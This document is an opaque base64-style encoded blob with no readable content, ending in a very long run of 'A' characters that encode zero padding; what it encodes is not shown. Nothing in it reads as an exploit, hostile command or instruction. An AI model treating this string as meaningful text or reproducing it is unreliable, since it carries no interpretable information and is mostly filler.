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IriGXSWqC7rpi7y7xgoLk8t0XqQ8LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA